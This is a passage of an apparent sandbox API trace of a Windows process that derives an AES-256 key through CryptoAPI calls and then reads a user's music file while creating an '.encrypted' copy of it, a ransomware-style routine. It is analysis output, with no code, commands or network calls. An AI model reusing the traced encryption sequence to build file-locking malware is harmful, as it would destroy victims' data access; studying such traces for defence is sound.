lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0027.149] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0027.149] CloseHandle (hObject=0x188) returned 1 [0027.149] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0027.150] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.150] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.150] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0027.150] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.150] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0027.150] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0027.150] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.150] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.150] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.150] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.150] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.150] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.150] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0027.150] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.150] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.150] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.150] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.150] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.150] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.150] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.150] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.151] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.151] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.151] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.151] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.151] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.151] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.151] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.151] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0027.151] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.151] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.151] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.151] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.151] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.151] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0027.151] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.151] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0027.151] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.151] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.151] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0027.151] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.151] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.152] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.152] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.152] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.152] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.152] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.152] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.152] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.152] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.152] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.152] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.152] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0027.152] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.152] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.152] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.152] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.152] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.152] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.152] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.152] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.152] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.152] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.152] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.152] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.152] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.152] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.152] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.152] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.152] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.152] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.152] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.153] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0027.153] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.153] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.153] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.153] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.153] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0027.153] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.153] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.153] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.153] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.153] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.153] CryptHashData (hHash=0xe8f40625d0, pbData=0xe8f418b660, dwDataLen=0x20, dwFlags=0x1) returned 1 [0027.153] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.153] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.153] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.153] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.153] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.153] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.153] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.153] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.153] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f40625d0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062640) returned 1 [0027.153] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.153] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.153] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.153] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.153] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.153] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.153] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0027.154] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.154] CryptDestroyHash (hHash=0xe8f40625d0) returned 1 [0027.154] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.155] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.155] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.155] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.155] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.155] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\LaTASn2XD.m4a" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\latasn2xd.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0027.155] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.155] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0027.155] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.156] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.156] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.156] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q")) returned 0x10 [0027.156] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\LaTASn2XD.encrypted.m4a" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\latasn2xd.encrypted.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0027.156] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.156] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.156] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.156] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.158] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0027.158] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x6b4e, lpOverlapped=0x0) returned 1 [0027.159] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0027.160] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.160] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.160] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.160] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0027.161] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.161] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.161] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0027.161] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.161] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0027.161] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.162] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.162] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.162] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0027.163] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.163] CryptGetKeyParam (in: hKey=0xe8f4062640, dwParam=0x7, pbData=0xe8f4064ba0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064ba0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0027.163] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.163] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.163] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.163] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.163] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.163] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.163] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.163] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.163] 